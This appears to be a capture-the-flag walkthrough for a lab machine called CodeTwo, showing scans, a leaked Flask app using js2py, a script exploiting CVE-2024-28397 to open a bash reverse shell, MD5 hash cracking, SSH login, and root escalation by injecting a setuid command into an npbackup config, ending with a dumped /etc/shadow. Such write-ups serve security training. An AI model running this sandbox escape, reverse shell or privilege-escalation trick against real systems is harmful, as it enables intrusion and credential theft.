- Initial scans
$ export IP=10.129.232.59
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
| 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open http syn-ack Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Update
/etc/hosts
$ echo "$IP codetwo.htb" | sudo tee -a /etc/hostsgobusterscans reveal some endpoints
$ gobuster dir -u http://codetwo.htb:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://codetwo.htb:8000/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 667]
/download (Status: 200) [Size: 10696]
/register (Status: 200) [Size: 651]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 199] [--> /login]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
- Download the app to reveal some important source code
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
*snip*- CVE-2024-28397 PoC - js2py sandbox escape script
- We just need the payload, modified to our needs
- Since this payload can be used within the code editor in browser, we can simply
curlthe payload - Here is a script to get revshell through the
/run_codeendpoint
pwn.sh
#!/bin/bash
LHOST=""
LPORT=""
curl -s -X POST -H "Content-Type: application/json" \
-d "{\"code\": \"let cmd = \\\"bash -c 'bash -i >&/dev/tcp/$LHOST/$LPORT 0>&1'\\\"; let hacked, bymarve, n11; let getattr, obj; hacked = Object.getOwnPropertyNames({}); bymarve = hacked.__getattribute__; n11 = bymarve(\\\"__getattribute__\\\"); obj = n11(\\\"__class__\\\").__base__; getattr = obj.__getattribute__; function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i]; if(item.__module__ == \\\"subprocess\\\" && item.__name__ == \\\"Popen\\\") { return item } if(item.__name__ != \\\"type\\\" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); n11\"}" \
http://codetwo.htb:8000/run_code > /dev/null &- Make executable start listener catch shell
$ chmod +x pwn.sh
$ nc -lvnp 6969 & ./pwn.sh && fg %1
[1] 21050
listening on [any] 6969 ...
[1] + 21050 running nc -lvnp 6969
connect to [10.10.14.170] from (UNKNOWN) [10.129.232.59] 51542
bash: cannot set terminal process group (882): Inappropriate ioctl for device
bash: no job control in this shell
app@codetwo:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)User
- We find a database in
/home/app/app/instance
app@codetwo:~/app$ sqlite3 instance/users.db -header -column "SELECT username, password_hash FROM user;"
username password_hash
---------- --------------------------------
marco 649c9d65a206a75f5abe509fe128bce5
app a97588c0e2fa3a024876339e27aeb42e- Crack hash for
marco
$ hashcat -m 0 -a 0 "649c9d65a206a75f5abe509fe128bce5" /usr/share/wordlists/rockyou.txt
649c9d65a206a75f5abe509fe128bce5:sweetangelbabyloveCreds
marco : sweetangelbabylove
- SSH in as
marco
$ sshpass -p 'sweetangelbabylove' ssh marco@$IP
marco@codetwo:~$ ls
backups npbackup.conf user.txt
marco@codetwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliRoot
- Investigating the existing
npbackup.confwe see interesting parameters pre_exec_commands: []&post_exec_commands: []- Copy the existing conf to new one for editing
- Add commands to be executed as
rootintopre_exec_commands(any method you want)
marco@codetwo:~$ cp npbackup.conf root.conf
marco@codetwo:~$ nano root.conf
*snip*
pre_exec_commands: "chmod 4755 /bin/bash" # Add whatever cmd here you want to execute as root- Execute the
npbackup-cliwith necessary flags
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c root.conf -b
*snip*
:: INFO :: Pre-execution of command chmod 4755 /bin/bash succeeded with:
None
*snip*- We can check perms on
/bin/bashnow
marco@codetwo:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash- Globally accessible to anyone, so simply spawn root shell
marco@codetwo:~$ /bin/bash -p
bash-5.0$ id
uid=1000(marco) gid=1000(marco) euid=0(root) groups=1000(marco),1003(backups)
bash-5.0$ cat /root/root.txt
0172f00e77198ac7afdc00312fb79eca
bash-5.0$ cat /etc/shadow
root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:20010:0:99999:7:::
sshd:*:20010:0:99999:7:::
systemd-coredump:!!:20016::::::
marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::
lxd:!:20016::::::
app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::
mysql:!:20026:0:99999:7:::
_laurel:!:20256::::::